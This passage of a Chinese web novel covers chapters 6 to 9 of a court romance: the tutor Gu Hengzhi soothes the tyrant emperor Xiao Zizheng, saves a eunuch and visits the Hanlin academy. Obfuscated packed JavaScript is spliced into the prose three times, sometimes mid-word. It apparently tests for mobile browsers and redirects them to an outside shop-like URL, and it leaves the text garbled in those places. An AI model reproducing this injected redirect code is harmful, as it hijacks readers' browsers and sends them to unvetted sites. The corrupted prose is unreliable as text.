;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“陛下,外头天寒,别忘了御寒,陛下日理万机,更要保重龙体。”顾衡之冒着严寒走到萧子政身边与之并肩,他赶紧拿了自己先前穿的披风,披在了萧子政的身上,然后细细地帮萧子政没有捋顺的领子给抚平了。 由于宝箱任务的缘故,顾衡之不止一次地看向萧子政的肩膀,他怎么看,都觉得很正常。 萧子政的脸颊红了,像个青涩小伙,脸上那层薄薄的红晕,不知道是被寒风吹的,还是因为别的什么原因。 门外本来想行礼的宫女太监们看顾衡之这熟练的动作,皆是一阵恍惚—— 顾太傅这话说的,怎么这么像历朝皇后。 “你们都愣着干什么,还不把多的披风拿过来!”尽管在顾衡之面前已经晕头转向,一旦有外人在场,萧子政很快就恢复了生人勿近,看谁不顺心就杀谁的模样。 谁能想象萧子政刚刚还是那个把自己亵衣脱下来跟顾衡之换玩具的乖学生。 当然,要是萧子政脸颊没有那么红的话,可能凶起来会更有说服力。 6. chapter6羊肉汤 顾衡之披在萧子政身上的那件披风是纯白的,领口上围了一圈白绒,倒把萧子政脸上的异样衬得更为明显了。 要是此时有束阳光能不偏不倚地照到小暴君的脸上,估计会更好看些。 顾衡之心里暗自嘀咕。 只可惜除了顾衡之,没有人胆敢正眼看看这一国之君脸颊上的艳色,就怕触怒天颜。 下人们只听得萧子政一声怒喝就吓破了胆儿,忙不迭地把萧子政御用的披风给拿来了,几个贴心懂得来事的太监端着各式的汤婆子和手炉脚炉两列站开,又端来了热腾的肉粥侍奉,谁也不敢问为何萧陛下的亵衣会在顾衡之手里。 “陛下,披风来了,奴婢为您换上。” 宫女来带萧子政面前战战兢兢地行了个礼,虽然她已经在苍龙殿里侍奉了三年了,但面对萧子政的时候,她不敢不谨小慎微。 萧子政的披风比顾衡之那件要厚实得多,也更显气派—— 全黑的面料好似压城雷云,上面的纹饰也并非卯兔青牛等温良之徒,而是张开血盆大口的五爪金龙。 东乾以黑金为尊,素来只有萧帝和得到帝王恩赐者才能用这样的配色。 所以,宫女自然而然地以为萧子政是要把顾衡之的披风还回去。 哪曾想萧子政不耐烦地挥了挥手,接着抓过披风,盖在了顾衡之的身上。 这样的事于东乾来讲很不合礼节,下人们内心猜着刚刚寝宫里究竟发生了些什么,却也不敢说话,毕竟满朝文武只有顾衡之敢在礼节上挑萧子政的刺。哦对,李将军也敢,但李将军主要是挑顾衡之的刺…… …… 小暴君似乎有强迫症,把披风盖上去不说,还要左边扯扯,右边扯扯,扯了大半天都没有扯对称,最后似乎心里窝火,干脆潦草结尾,开始帮顾衡之系披风带子。 顾衡之能用生命感受到,萧子政真的不会照顾人—— 先前给顾衡之盖十床被子差点把顾衡之压死,现在系披风带子的时候又紧得像是要给顾衡之上绞刑,险些把顾衡之勒死。 小暴君似乎只考虑到了不想让寒风钻到太傅的衣服里,却根本没有考虑过顾衡之还需要呼吸。 顾衡之内心吐血,但又怕惹萧子政不高兴,就没有直说,毕竟人家原本可是暴君,脾气那么暴躁,有这份想要照顾人的心,已经很不可思议了。 不过,顾衡之不可能这么坐以待毙,他连忙握住了萧子政的手:“咳咳咳,陛下的手好凉,臣给陛下暖暖手。” 闻言,萧子政愣了愣,因为顾衡之的手比他的还凉。 顾衡之的本意当然不是帮萧子政暖手,他是想让萧子政停手。 不过虽然本意不是帮萧子政暖手,顾衡之仍旧很认真地搓着萧子政的手。 萧子政的手冻得跟冰块似的。 下意识的,顾衡之微微低下头,轻轻在萧子政冰凉的手心里哈了口热气,雾气升腾,总算让萧子政的手暖和些了。 等顾衡之做完这个动作,才忽然惊觉到不对劲,冷汗直冒—— 嘶,小暴君会不会嫌弃他的口水。 顾衡之抬首看向萧子政,却见萧子政脸上的红色已经不是微红而是涨红了,耳朵尖上像是在冒烟,但总归没有嫌弃。 …… 奇怪,有点热。 萧子政的身上冒了些热意,从手心一直蔓延到心口,肩膀上那朵从出生以来就不被待见,早就应该承受雨露,却一直没有动静的花也有些异样…… “釉彩,快把手炉拿过来。”保险起见,顾衡之选择转移话题,凭着对原著小说的记忆,顾衡之随便叫了个名字。 旁边的下人看着这两位主有汤婆子和手炉不用,却用这种原始的取暖方式,早不知道疑惑了多久了,连忙把手炉承了上来。 顾衡之果断地把手炉塞到萧子政手里,总算让萧子政的手空不出来了。 顾衡之松了一口气,他飞快地把萧子政系的结松开,然后自己重新系了一个—— 真的,差点被萧子政勒死。 萧子政不是瞎子,他自然是看到了这一点。 “顾……”顾太傅这是嫌弃? 萧子政正想发火,暖呼呼的汤勺盛着羊肉汤就被顾衡之送到了萧子政嘴边。 “陛下快喝羊肉汤暖暖身子。”顾衡之笑道,话音儿也故意放软了些。 事实证明,小暴君需要人哄的—— “啊。” 萧子政乖乖张嘴。 这下好了,顾衡之把萧子政的嘴也堵住了。 顾衡之又喂了一勺,再来一勺。 萧子政咽了一口,再来一口。 萧子政被顾衡之灌得饱饱的。 顾衡之眼看着萧子政又想说话,于是连忙又舀了一大勺汤凑到萧子政嘴边。 萧子政偏过头,狠狠地瞪了顾衡之一眼。 刹那间,众人的心都不约而同地提到嗓子眼了。 只听萧子政冷着脸说道: “赏。” 空气宁静了好久,好半天众人才如梦初醒:“谢主隆恩!” “味道不错。”萧子政看着顾衡之道。 …… 苍龙殿前,这一高一矮,一黑一白,一君一臣,立于门前,观苍苍白雪,远看倒也相配。 “陛下,时辰快到了,典狱司那边都准备妥当了。”侍卫上前弓身道,其实他也是冒着必死的决心来提醒萧子政的,毕竟自家陛下好像一点都不想走。 果不其然,侍卫话音刚落,萧子政龙颜小怒,犀利的目光直接把侍卫的心灵给刺穿了,眉宇间透着对朝务的腻烦。 “砰!” 萧子政还没有给出回答,仅仅是眼神就把旁边端着火炉的小太监给吓到了。 火炉里滚烫的炭火就朝着萧子政袭去。 萧子政反应极快,在炭火飞向顾衡之之前,就把那火炉子踢出了三里地远,但仍旧有火星子溅到了萧子政身上那件属于顾衡之的白披风上。 披风的白色绒面上出现了黑色的焦痕。 一切都发生得太快,顾衡之本来还美滋滋地想喂自己几口羊肉汤呢,然后,羊肉汤还没送到嘴里,他就见本来完好的火炉子,不知怎的就变成碎片飞了出去,然后有个小太监跪了下来。 顾衡之后知后觉,才意识到那个火炉子是被萧子政给活生生踢碎的。 妈呀,徒脚踢……踢碎火炉? 没有人敢说话,萧陛下向来脾气不好,此时,能被轻松地赐死不连累九族,对于下人已经是莫大的仁慈。 小太监像是已经知道自己的结局了似的,认命地闭上眼然后跪了下来。 太监……太监……好像原著小说里也有个很重要的太监。 顾衡之隐隐约约觉得这一幕有点熟悉。 虽然一时半会儿想不起来这个太监在原书中有什么样的作用,但是杀生太过,总是不好的。 原著中萧子政在被凌迟处死的时候举目无亲,要是他平时对宫女太监这些好一些,都不至于如此。 既然现在他是萧子政的老师,帮萧子政一把,应该也没有什么。 “把……” “陛下,这羊肉汤真乃人间绝味,如果陛下不介意,能否让臣府里的厨子来研习一番?”顾衡之幽幽开口,笑盈盈地说道。 萧子政并不傻,他知道顾衡之在为小太监解围。 萧子政抬起手,捏住了顾衡之的下巴。 很用力,有些疼。 不知为何,可能是见过萧子政的真面目了,顾衡之不是很害怕,他依旧维持着得体的笑容,看起来人畜无害。 在场所有人,可能也就顾衡之能笑得出来了。 顾太傅对礼节的执着,真是让人敬佩啊…… 众人就没见过像顾衡之这样一点都不怕萧陛下的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14467641|154293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 萧子政松开了手,然后,捏住了顾衡之头发丝上的雪片。 装作雪片粘在顾衡之头发丝上的系统一点都不敢动,它还没有反应过来,就被萧子政扔在了地上。 “走,去典狱司。”萧子政越过小太监,就连顾衡之都不理会了。 帝王的抬舆逐渐远去,众人却久久没有回过神—— 就这么解决了?陛下没有生气? 那跪在地上的小太监难以置信地摸了摸自己的脑袋,好像很不适应脑袋还在自己身上的感觉。 这是生气了? 顾衡之“咕咚”一口把剩下来的羊肉汤给喝完了,羊肉片也吃了—— 当皇帝简直太爽了,他都想住在皇宫里了,顾家的伙食哪里比得上萧子政这边的啊! 可惜晚上就要回去睡硬邦邦冷冰冰的床,吃些没什么肉的素菜了。 顾衡之都有点不想离开了。 “谢顾太傅,谢顾太傅救命之恩,小人没齿难忘。”等萧子政走了,众人也都散了,那小太监单独留下来郑重地磕了个头。 “没事,你要感谢的应该是萧陛下。”顾衡之尝试在疑似关键人物的小太监面前在说说萧子政的好话,“要是陛下想杀你的话,就算我说什么都没有用处的。” “你叫什么名字?”顾衡之问道,不忘初心。 听到顾衡之居然问自己的名字,那小太监怔了一下—— 顾太傅并不像传说中的那样不近人情。 “奴的贱名怕辱了太傅的耳根清净。”小太监道。 “没事,你说。”顾衡之耐心地说道。 “小人名为荆阁。”小太监道。 荆阁?荆…… 天,这家伙,不就是荆楼的义兄吗? 小说里的主角总是坎坷不断,在原书中荆楼是主角受的阴暗追求者之一。 小说中,荆阁被萧子政赐死,而小暴君记性又不好,忘记斩草除根了,荆楼为了给义兄复仇,入宫后逐渐取得萧·健忘·子政的信任,不,准确来说萧子政后期自觉强大逐渐轻敌,逼宫谋反时荆楼在萧子政身上下药,凌迟处死这个法子就是荆楼和主角团一起想出来的。 “好名字。”顾衡之礼貌性地说道,电视剧里的人物遇到人都说好名字。 顾衡之搜刮出全身上下的家当,找出了一点碎银子然后塞到了荆阁的手里。 “别怕,陛下其实很好说话的,你下去吧,不要记恨陛下。”顾衡之柔声道。 “谢大人!”荆阁感动地说道,“奴以后定当尽心服侍陛下。” 顾衡之点了点头,荆阁就下去了。 顾衡之疲惫看天: 小暴君啊小暴君,还不好好感谢你老师我。 把荆阁打发走后,顾衡之忍不住想。 但后知后觉他忽然意识到有些不对劲—— 不是,他自身都难保,他是用什么立场帮萧子政收拾烂摊子?虽然他确实需要在萧子政手下讨生活,但是,萧子政的生死…… 想了一会儿,顾衡之就不想了。 算了,那就等萧子政回来后,多压榨他一点…… 咳,羊肉汤。 * 另一边,萧子政揉着太阳穴,他歪歪斜斜地坐在轿子内,漫不经心地拆开了一张小纸条。 事实证明,顾衡之还是太天真了。 皇宫之内怎么可能没有眼线。 萧子政手中的正记载着在他所发生的事情,一桩桩,一件件。 “陛下方去,顾太傅独留荆阁,问其姓名,和颜悦色,后慷慨解囊取碎银予之。” 太傅给了一个太监赏赐。 萧子政回想了一下,试图找出登基以来顾衡之在礼节之外送给自己的献礼数量。 好像,是零。 这是什么感觉? 萧子政说不出,但是却觉得不是学生该对太傅产生的感觉。 7. chapter7四面楚歌 萧子政捂着肩膀,马车上四处点着暖炉,比外头暖和得多,可他觉得有些冷。 寒冷让萧子政将那件带有顾衡之气息的披风笼紧了些,尖牙咬紧了有些干燥的下唇,唇瓣上留下了两个对称的小坑。 轿子在典狱司的暗牢前停下,周围人自觉退下,典狱司司长韩尚和李将军在外头已经等候多时了,看到裹着雪白色披风的萧子政,二人皆是一愣: 这般清新的装束,还从未见萧子政穿过,衬的萧子政像是还未被接进宫前。 “参见陛下。”李将军说道。 “参……参见……陛……陛下。”韩尚是个结巴,所以比李将军慢了几拍。 “不必行如此虚礼。”萧子政深谙帝王威仪之道,在他人面前,即使是面对一直跟着他的忠臣,他的脸色还是很自然沉了下来。 马车内,顾衡之难得的柔和弄的萧子政头昏脑涨的,看着李将军和韩尚燕颔虎须的面孔,萧子政冷静了很多。 要是李将军知道萧子政下意识的感受,不知道要郁闷多久。 李将军是个粗人,虚礼过后,他“唰”地一下站了起来,毫不犹豫地表达了自己的不满:“陛下,您可别忘了顾衡之与萧子恪和杨太保关系甚密,虽说他自诩清廉正直,但谁知道他私底下是什么模样,您怎么能准那腐朽的书生上床?您不是一向最不赞成顾衡之所说的为政以德吗?按照那书生的法子,我们早不知道死了多少次了。” 上……上床? 一旁的韩尚被李将军的话惊得瞪大了眼,李将军那么一大番话他一句没有听见,就听见“上床”了。 “孤的私事,李将军不必操心。”萧子政不为所动,在进暗牢前,他提早把披风脱了下来,折好,他折得很小心,生怕把披风弄脏了似的。 李将军和韩尚跟了萧子政这么多年,哪见过萧子政这么爱护一件披风的时候啊!还是件质地远远没萧子政原本那件好的披风。 像往常,萧子政怕冷,裹着披风进暗牢亲审人,血沾到披风上,他出来就扔。 韩尚越看萧子政的披风,越觉得眼熟,他忍不住问道:“陛下,这件披风是顾太傅的吧?” 萧子政停下脚步,他似乎有些炫耀的意味: “没错。” * 顾衡之并不知道萧子政的眼线只说了他给小太监赏钱的事,要是知道,他怕不是得被气死。 不过这也并不是眼线的错,毕竟造纸技术在这个朝代并没有完全普及,一段纸在京城价值千金的都有,自然要省着用,没办法记载太多事情,只能挑最异常的事情记录下来报告。 虽然萧子政准顾衡之今日不必去翰林书院,但是顾衡之并不打算待在苍龙殿里偷懒。 当然,顾衡之也不是去卖玩具的,他只是去熟悉熟悉翰林书院的环境。自他穿越过来以来,一直都抱恙在家,还没去过翰林书院呢,他得去摸清楚众人对他的态度,物色物色可靠的人。毕竟他身边已知的眼线就有两个。 一个是已经被萧子恪收买的侍女,名为剑兰,另外一个是杨太保派来的侍卫,娃娃脸,看着活泼没有心机,实际上明明会武功,还伪装成手无缚鸡之力的书童,名叫紫丁。 无论是剑兰还是紫丁都有忠诚之意,可笑的是两个人忠心的都是别人。 还是小暴君好啊,都没有派人盯着他。 顾衡之又想到了萧子政的好。 【萧子政才不好呢!他居然敢把我当雪片子扔了!】系统举着小牌子抗议。 “谁叫你不躲好点。”顾衡之心道,把系统塞回了袖子里。 * 已经卖出去了一个玩具,开了一个宝箱,现在又有另外一个宝箱可以开,顾衡之也没有那么急了。 将萧子政那件肩膀上带血的亵衣好生收好,放到贴身的口袋里,顾衡之就准备跟侍卫问问去翰林书院的路。 顾衡之刚准备出发,一个竖着双髻的侍女和一个书童模样的人便连忙走到他面前行礼。 那侍女身着月牙白色的马甲短袄,举手投足之间沉稳可靠,而那个书童模样比较稚嫩,身着淡蓝色的长袍马褂,看起来年岁很轻。 这就是剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14467642|154293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰和紫丁了。 “太傅,您没事吧!陛下可有刁难您?”紫丁说道,语气夸张。 紫丁一说话,顾衡之连忙做了个噤声的手势。 “陛下并没有刁难我。”多说多错,顾衡之简短地回答道。 顾衡之刚说罢,紫丁的神色有些错愕,但他很快反应过来,又说起了一路上所听到的传闻:“太傅,小人在来的路上听说陛下……陛下把太傅您请去了寝宫,不知道这事儿是当真还是下人们嘴巴碎乱传话?” 要是以往顾衡之没有穿过来的时候,原主最爱惜自己的羽毛,定当生气,保不准一怒之下又冲去找萧子政理论都有可能。 可顾衡之不一样,他从现代来的,心脏极其强大,他甚至不明白紫丁为什么神色那么紧张。 “紫丁,你的话有些略多了。”顾衡之深深地看了紫丁一眼,他总觉得,这位杨太保派来的眼线,好像在故意说萧子政的坏话似的。 “挑拨离间”。 用这个词来形容紫丁想来再合适不过了。 杨太保不想顾衡之跟萧子政走得太近,所以派紫丁挑拨离间?亦或是紫丁本身就是个话多的人? 顾衡之觉得后者的可能性不大,但不管这个紫丁是什么来头,顾衡之听着有关萧子政的坏话,心里不是很舒服。 “陛下体恤臣子,才会带我回寝宫休息,陛下清者自清,你在我身边待了这么久,都不明白这样的道理吗?”顾衡之眼中迸发出锐利的光,和在萧子政面前大为不同,“若是再在这里絮絮叨叨,等回府了自己去祠堂领罚。” “顾太傅饶命,小的知错了!”紫丁脸色变得苍白了起来,他连忙跪下求饶。 “你起来吧,以后不必犯就是。”顾衡之深知打一个巴掌给一颗甜枣的道理,他亲自扶着紫丁起来。 顾衡之的变化,剑兰也看在眼里,但她沉稳许多,并没有说话而是规规矩矩地站在一旁。 “剑兰,你去马车上把我的另一件披风拿来。”既然要去翰林书院,顾衡之怕萧子政的披风太引人注目,觉得还是换一件的好。 8. chapter8开发新玩具 翰林书院位于皇宫东华门外的一处幽静院落。通往翰林书院的道路桃树李树连片,故也有人将翰林书院称作桃李书院。 据顾衡之了解,这翰林书院内有生徒一千,大多背靠陈、王、谢三大世家,其他少数则为地方考取。 东乾文官的官阶制度又称带子制度,正七品及以下配灰带,官阶越高发带材质越好,正六品配蓝带,正五品配青带,正三品紫带,正一品红带,整得跟彩虹似的。能上早朝的文官,必须为正五品以及以上。 而翰林书院的门生只要成功结业,如果选择入仕,至少是个青带子,等过了一年的考核期,官阶不变,俸禄却是普通青带子的两倍。 这也是为何,顾衡之虽然官至太傅是个紫带子,但是对比陈阁老等世家官员身上没有多少银钱的缘故。他就是那个翰林书院中的少数,是从地方科举,一点点爬上来的,俸禄并不算多。 平日里别的学监夫子都会在收束脩的时候捞点油水,或者给达官贵人的子女开小灶赚点外快,可原主并不屑于这么做。 原主甚至没收过萧子政半分银钱。若是萧子政给他赏钱,他不仅不会像其他大臣那样叩恩,反而会把萧子政说教一顿。 不同流合污的后果就是放眼整个翰林书院,顾衡之没什么交心的人。 过刚易折。 要不是萧子政下旨,学监这般轻松的闲职可没有顾衡之的份儿。 到了翰林书院,顾衡之叫剑兰和紫丁在外边守着,自己则漫无目的地在书院里瞎转悠。 现在正是学生们听课的点,外面除了扫雪的杂役,就只有顾衡之了。 不远处的庭院旁,正有个杂役慢悠悠地扫着积雪。 似乎是察觉到有人过来了,那杂役下意识地抬起头。 “诶……”小兄弟。 顾衡之话还没有说出口,那杂役就飞快地低下头,提着扫把走了,就像顾衡之不存在一样。 杂役溜走的速度太快,顾衡之险些以为他手里拿着的不是扫积雪用的扫帚而是魔法扫帚,人一拿着就能“嗖~”一下不见的那种。 顾衡之:。 顾衡之的本意是找杂役问问路,之后再把翰林书院各个角落都转悠一遍,然而计划赶不上变化,先是碰到的杂役都对他避如蛇蝎,再加上外面实在太冷,顾衡之披了两层披风都冷得不行,左手更是疼得厉害,伤疤处像是有冒着冷气虫子沿着缝隙往皮肉里钻,向骨头里蛀。 顾衡之放弃了。 其实顾衡之完全可以大吼一声把杂役叫住。 不过顾衡之懒得这么做。 他这个人向来如此,待人的准则是“投我以木桃,报之以木桃”,别人对他三分好,他便回三分,别人不待见他,他也不强求。 就像传闻中萧子政虽然残暴偏执到离谱,但是既然萧子政对他顾衡之好,顾衡之便喜欢。 小暴君可比这些莫名其妙的家伙好多了。 “系统,你有没有这里的地图啊,快带我去原主工作的地方,外面真是冷死了,感觉都要长冻疮了。”顾衡之开始想念萧子政的龙床,想念好喝的羊肉汤。 当然也有点想念萧子政。 虽然小暴君有时候很吓人,但是逗起来确实有意思,哪像这里的人,连杂役见着他都要当作看不见,实在无趣,无趣到顾衡之想拿出手机来刷小视频。 从来到这个世界开始,顾衡之把萧子政设想得太过于恐怖,脑子里全是怎么应付萧子政,还是第一次产生无聊到想要玩手机的想法。 “系统,要不咱们来选选接下来卖什么吧。”顾衡之实在无聊,对系统说道。 宿主能这么上进,系统自然恭敬不如从命 。 商城面板出现在了顾衡之面前。 跟先前一样,顾衡之果断忽略了第三页见不得人的小玩具,来到了第一页。 【页数越靠后的玩具能够带来的生命价值就越大,宿主您真的不考虑一下吗?】系统提示道。 “先缓一缓吧,等遇到了,额,遇到了有缘人再说。”虽然嘴上这么说,但是顾衡之的面子让他不想把第三页的玩具推销给别人。 不知道小暴君会不会想买第三页的东西。 顾衡之冷不丁地想—— 毕竟他已经在萧子政面前丢过脸了,再丢几次,好像也无妨。 …… 经过激烈的内心斗争,顾衡之最后选择了一个名叫神奇动物竹蜻蜓的玩意。 虽然叫竹蜻蜓,不过,这玩意儿却与普通的竹蜻蜓不同,这个竹蜻蜓的杆上插着的是一个比格犬脑袋,桨叶则是比格犬的大耳朵。只要双手握住竹蜻蜓的杆,双手用力搓动,比格犬脑袋两边的耳朵就会像螺旋桨一样疯狂转动,然后,一个狗头就会唱着狗儿歌冉冉升起,螺旋起飞。 而且,系统面板显示,这款竹蜻蜓还提供定制服务,上面的脑袋可以换成顾客喜欢的小动物,还可以换成讨厌的夫子、最好的朋友等等等等,还可以定制语音包。 说实话,看到讨厌的夫子时,顾衡之觉得自己有点危。 要是这项玩具大肆投入生产,带有他顾衡之人头的竹蜻蜓,岂不是翰林书院里的小童子们人手一个? 但是一想到丰厚的生命值,顾衡之就决定豁出去了。 顾衡之选择这项玩具的理由很充分—— 首先,可以提供定制,他可以弄个抽盲盒什么的形式,到时候就是源源不断的生命值收入。 其次,也是最重要的一点。 这玩意儿,一看就能启发萧子政。 别说萧子政了,顾衡之看到这玩具都受到启发了。 想象了一下一万个有着人头的竹蜻蜓在天上飞的场景…… 别的什么人可能觉得恐怖,但顾衡之相信萧子政一定很喜欢。 谁得罪萧子政了,萧子政就可以定制谁的人头竹蜻蜓玩具,坏心情发泄了,也不用滥杀无辜了,多好。 等下次见到萧子政的时候,他就十分刻意地把这个玩具露出来,萧子政说不准就买下来了呢。 顾衡之心想。 …… 系统没有办法向顾衡之提供地图。凭借对原书残存的记忆,顾衡之想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14467643|154293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来原主的工作地点是在翰林书院西院的礼院里。 所幸,顾衡之的方向感还算好。 一路摸索着,顾衡之终于到了西院。 西院正院里,较为年长的学生们正在学习朝中为官的礼节,这些学生所穿的青衿上有着金丝纹饰,说明这群学生都是世家里出来的。 等到黄昏时这里便会空出来,供课业上落后的小童子们完成剩下的课业。而顾衡之只需要坐在高位的书案前,起到一个威慑作用,维持秩序,以免小童子们上梁揭瓦。 当然,他们也可以向顾衡之请教问题,但是像原主那般严厉的人,一般不会有小孩敢主动请教,自讨苦吃。 从某种意义上,萧子政真算是顾衡之一手教出来的,颇有顾衡之行事的影子,萧子政是暴君,顾衡之在这群小孩子心里,应该能算得上是暴师。 顾衡之打算先去西院侧院过自己的巴适小日子。 西院的侧院位于正院之后,要想去侧院就必须经过正院。不过,这些学生们诵读时这么认真,想来也不会注意到他顾衡之的存在。 果不其然,顾衡之轻轻掀开门帘的时候,并没有什么人注意到顾衡之的存在,青年们专心致志,齐齐看向正在授课的年轻夫子,温润的声音不轻不急地在整个学堂内响起。 那人身着圆领青衫,发冠上配的是深青色的发带,是为正四品。 这位便是主角受,齐书宝,同样是科举上来的布衣子弟,就连籍贯也跟顾衡之相同,也来自湘南。 众人这么专心地听着齐书宝讲课,这让顾衡之不由得松了一口气。 这翰林书院是原主经常去的地方,顾衡之待在翰林书院的时间比待在顾府还多。顾衡之的父母和哥哥都是布衣出身,平时与顾衡之根本说不上几句话,顾衡之倒不怕暴露。可这些出生于三大世家的书生就极其麻烦了—— 他们,很喜欢找顾衡之争论各自的学说,屡战屡败。屡败屡战。 萧子政虽是暴君,但毕竟是圣上。家中世代为官,长辈们宦海沉浮的经验让三大世家的书生们比科举出生的书生们更早懂什么叫作皇权至上,什么叫做得圣上心者得官场。 整个朝廷,谁不知道萧陛下擅刑,好杀武断,最烦腻的就是顾太傅的学说,最见不得太傅这般认死理的,若是能把顾太傅辩倒,传到萧帝耳朵里,到时候陛下龙颜大悦,他们哪还需要从青带子做起,直接飞升紫带子,说不准还能将顾太傅取而代之。 所以说,这群青衿带金丝的书生最喜欢找原主辩论。 顾衡之脑海中只有关于小说的记忆,以及顾衡之脑海中零星的记忆,要是露陷了,不知道有多麻烦。 顾衡之小心翼翼地脱下两层披风,修长白皙的手捏着披风,在渣斗旁抖了抖,将雪片子尽数抖了下去。 抖好自己的那一件,顾衡之又把萧子政的那件拿了出来好好地折叠。 然而,顾衡之折着折着就隐约感觉周遭的声音小了。 顾衡之疑惑地抬起头,只见那满屋子的书生,齐齐地望向他手里的披风。 萧子政的那件。 9. chapter9八卦一下 翰林书院的学生们一大早就到这里上早课,所以顾衡之当朝被抱回萧子政的消息,估计还没有传到他们耳朵里。 在皇城中,到底有谁敢用五爪金龙的纹样,答案不言而喻。 要是别的什么人拿着这件披风,会被认为不熟悉礼法才在披风上纹了这样的样式,但是众人心里都很清楚,像顾衡之那般能把东乾礼律倒背如流的人,是不可能用错纹样的。 那只有一种可能了—— 顾衡之手上这件,是萧陛下给的。 虽说萧陛下几次三番没有杀掉上谏的顾太傅,但是也从未与顾太傅有过这般温情。 书生们的想象力极佳,他们忍不住脑补了一下萧陛下给顾衡之亲手系上披风的场景…… 不会吧…… 众书生面面相觑。 “顾太傅。”齐书宝停下了手头的事情,他拱了拱手,朝顾衡之拜了拜。 很简化的礼,远不是正四品拜正三品的礼制,要是原本的顾衡之一定会雷霆大怒。 众人心里很清楚这一点,他们屏气敛声,默默地观察着顾太傅的表情—— 按照往日的流程,顾太傅和齐教习该大辩一场了。 * 瞎子都能看出来众书生眼里的八卦欲。 不是,他们在期待些什么啊? 顾衡之有些莫名其妙。 顾衡之把萧子政的披风抱在怀里,而把自己的披风挂在了一旁的架子上。 顾衡之可不像原主那样对东乾的礼制一清二楚,面对齐书宝故意简化的礼节,顾衡之丝毫没有看出不对劲。 “齐教习。”顾衡之微微颔首。 说实话,见到齐书宝他还有点心虚,毕竟人家才是杨太保和太后的私生子,他顾衡之就是个冒牌货。 都是你老公的错,可别怪到我头上。谁让他用毒药逼我的。 顾衡之心道。 顾衡之淡淡地从齐书宝身上移开眼,并不打算在这里逗留。 就这么走了? 手上的书实在无趣,哪有看顾太傅跟齐教习争论有意思,学生们的目光追随着顾衡之单薄的身影,根本不敢相信往日最不好惹的顾衡之,居然真的打算就这么走了。 齐书宝也不相信,他瞪着顾衡之的背影,等着顾衡之回头跟他辩论。 一直以来,齐书宝都对顾衡之这样虚伪的人很不屑—— 表面上刚正不阿,固守礼节,实际上不就是引起了萧陛下的注意? 手上的那件披风,就是最好的证明,要真严格地尊崇东乾礼节,早就把披风供起来了,哪会这样带在身上。 不就是故意带到书院来炫耀,好耀武扬威? 这样的人,怎么能配得上太傅之位? 然而,齐书宝盯着顾衡之的背影看了很久,顾衡之都没有回头。 这种一拳头打在棉花上的感觉让齐书宝十分不舒服。 事实上,顾衡之不但不想跟齐书宝起争,而且心思都不在这里,他馋得很,在想到饭点了吃些什么好,有没有可能到萧子政那边蹭吃蹭喝。 眼看着,顾衡之马上就要穿过正堂到侧院去了,齐书宝终于按捺不住了。 “顾太傅。”齐书宝温润的语气变了,多了些嘲弄,“既已有披风,太傅何故取陛下之披风?” 顾衡之转过身,肩上的青丝滑落,他皱了皱眉。 这落在吃瓜书生们眼中,分明是顾衡之要发火了—— 打起来!打起来! 现场的氛围剑拔弩张,一触即发。 当然,这只是众人以为。 顾衡之的魂儿还在午膳上。 “我冷啊。”顾衡之回答道,他看向齐书宝,有些不解。 好……好朴实无华的回答。 众人本来一脸期待地等着顾衡之来一篇长篇大论,但没想到顾衡之的回答如此简短。 其实,顾衡之要是知道齐书宝在跟他辩论,他肯定会绞尽脑汁,好好回答。 但是问题在于,他根本不知道战争已经开始了。 谁能想到一件披风都能辩论起来呢? 再说了,根据原著,齐书宝想来有话直说,极其真诚。 顾衡之反而有些纳闷—— 按理来说,齐书宝不是挺聪慧吗? 这都不知道。 他披了两件披风,当然是因为一件不够啊。要论御寒程度,肯定是萧子政的那件最为保暖。 见齐书宝一脸茫然,迟迟不说话,顾衡之很好心地解释道: “外头正值寒风凛冽,正好陛下将披风落在我这儿了,所以我便披了两件,这样就暖和些了。” 顾衡之这句话正好坐实了他身上这件确实是萧子政披风的事情。 不过,顾衡之在这里小小地撒了个谎,他并没有说这件披风是萧子政跟他换的。 谁关心你冷不冷啊! 齐书宝顿感无力,他张了张嘴,想说些什么,但一看到顾衡之这棉花样,辩论的心情都没有了。 “顾太傅,你……你病了?”齐书宝觉得这样解释才比较合理,眼前的顾太傅太好说话,跟平常那冷着脸的冰棺材根本不像。 像往常,顾太傅也只有生病了,精力不足才会脾气好些。 “没什么大碍,只是前些日子染上了风寒,所以比较贪热。”顾衡之笑了笑。 顾……顾衡之在笑? 在场的众人都以为自己眼花了。 